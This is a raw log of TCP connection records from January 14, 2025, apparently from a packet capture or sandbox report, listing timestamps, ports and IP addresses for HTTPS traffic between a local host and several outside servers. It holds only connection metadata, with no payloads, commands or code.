Jan 14, 2025 08:13:04.288177967 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.288305044 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.288305998 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.288374901 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.315293074 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.329965115 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371274948 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.371293068 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.371373892 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.371403933 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371403933 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371437073 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.371470928 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.371471882 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371496916 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371526003 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371776104 CET	60489	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.371814966 CET	443	60489	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473831892 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473864079 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473881960 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473911047 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.473929882 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473953962 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473964930 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.473975897 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.473992109 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.474008083 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.474011898 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.474050045 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.511145115 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.511178970 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.511312008 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.511312008 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.511351109 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.513624907 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.513801098 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.513864040 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.514291048 CET	60490	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.514308929 CET	443	60490	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.518801928 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.518897057 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.518980980 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.519180059 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.519202948 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.526179075 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.526212931 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.526267052 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.526284933 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.526335001 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.526747942 CET	60491	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.526767015 CET	443	60491	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.534118891 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.534159899 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.534218073 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.534468889 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.534487009 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.565112114 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.580254078 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.580287933 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.580329895 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.580338001 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.580354929 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.580373049 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.580398083 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.580399990 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.580416918 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.580543041 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.580622911 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.580660105 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.581195116 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.581263065 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.585525036 CET	60488	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.585565090 CET	443	60488	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.589653015 CET	60494	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.589716911 CET	443	60494	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.610613108 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.610697985 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.610776901 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.611365080 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.611406088 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822649002 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822680950 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822693110 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822735071 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.822767019 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822787046 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822798014 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822814941 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.822814941 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.822825909 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822843075 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.822854996 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.822854996 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.822865963 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.824577093 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.824618101 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.824636936 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.824654102 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.824771881 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:04.824830055 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.824830055 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.866077900 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:04.953232050 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.953444004 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.953466892 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.954427004 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.954994917 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.955148935 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.955343962 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.959482908 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.959847927 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.959882975 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.960364103 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.961220026 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:04.961312056 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:04.961370945 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.003340006 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.003355980 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.006791115 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.041670084 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.041703939 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.041837931 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.041838884 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.041901112 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.042382956 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.042856932 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.042923927 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.043051004 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.043051958 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.043118000 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.043186903 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.043303013 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.043365955 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.043375969 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.043404102 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.043436050 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.043459892 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.044289112 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.044356108 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.044378042 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.044390917 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.044424057 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.044442892 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.078073978 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.078290939 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.078332901 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.079849005 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.080286026 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.080406904 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.080418110 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.080740929 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.127433062 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264070034 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264097929 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264153004 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264159918 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264230967 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264265060 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264293909 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264293909 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264317036 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264344931 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.264348984 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264348984 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264377117 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.264395952 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.265235901 CET	60493	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.265296936 CET	443	60493	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.393398046 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.394531012 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.394567013 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.395730972 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.396106958 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.396251917 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.396296024 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.410572052 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.411346912 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.411375046 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.412739038 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.413383961 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.413551092 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.413819075 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.440496922 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.455528975 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.483010054 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.483072042 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.483091116 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.483151913 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.483151913 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.483172894 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.483262062 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.483340979 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.483887911 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.483887911 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.501645088 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.501707077 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.501859903 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.501893044 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.520345926 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.520585060 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.520647049 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.522125959 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.522201061 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.522532940 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.522617102 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.522770882 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.522787094 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.548512936 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.563009024 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.633338928 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.633517981 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.633714914 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.634459019 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.634459019 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.634505987 CET	443	60503	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.634557962 CET	60503	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.648436069 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:05.651566029 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.651602030 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.651823044 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.652002096 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.652012110 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.695360899 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:05.714131117 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.714142084 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.714183092 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.714301109 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.714301109 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.714301109 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.714334965 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.714401960 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.751785994 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.751962900 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.751995087 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.783339977 CET	60500	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.783361912 CET	443	60500	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.798759937 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.836353064 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.836364985 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.836432934 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.836436033 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.836462021 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.836505890 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.836524010 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.836798906 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.876689911 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.876868010 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.876898050 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.924695969 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.942337990 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:05.942442894 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:05.944695950 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.944884062 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.945082903 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.945976973 CET	60506	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.946017027 CET	443	60506	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.948221922 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.948262930 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.949290991 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.949517965 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.949553967 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951023102 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951039076 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951095104 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.951097965 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951142073 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951170921 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:05.951196909 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.951303005 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:05.968219995 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.968272924 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.968318939 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.968333006 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.968362093 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.968409061 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.968440056 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:05.968497992 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.969078064 CET	60507	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:05.969094038 CET	443	60507	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.018534899 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.018585920 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.018768072 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.018768072 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.018842936 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.018901110 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.040574074 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.040678024 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.040676117 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.040720940 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.041126013 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.041153908 CET	443	60499	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.041167974 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.041197062 CET	60499	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.098562002 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.098731995 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.098795891 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.099442005 CET	60508	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.099478006 CET	443	60508	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.416008949 CET	49723	80	192.168.2.4	2.22.50.131
Jan 14, 2025 08:13:06.421219110 CET	80	49723	2.22.50.131	192.168.2.4
Jan 14, 2025 08:13:06.421287060 CET	49723	80	192.168.2.4	2.22.50.131
Jan 14, 2025 08:13:06.551393986 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.551671982 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.551697016 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.552819014 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.553335905 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.553479910 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.553508043 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:06.595020056 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:06.874697924 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.875045061 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.875081062 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.876003027 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.876579046 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.876753092 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.876765966 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:06.919329882 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:06.923204899 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:07.124753952 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:07.124860048 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:07.124907970 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:07.125735998 CET	60511	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:07.125755072 CET	443	60511	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:07.403039932 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:07.403147936 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:07.403201103 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:07.404131889 CET	60513	443	192.168.2.4	110.93.159.38
Jan 14, 2025 08:13:07.404150009 CET	443	60513	110.93.159.38	192.168.2.4
Jan 14, 2025 08:13:10.704345942 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:10.704441071 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:10.704626083 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:10.705904961 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:10.705930948 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:10.845786095 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:13:10.845875978 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:13:10.846040964 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:13:11.409584045 CET	443	60515	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:11.410383940 CET	60515	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:11.410428047 CET	443	60515	45.14.246.94	192.168.2.4
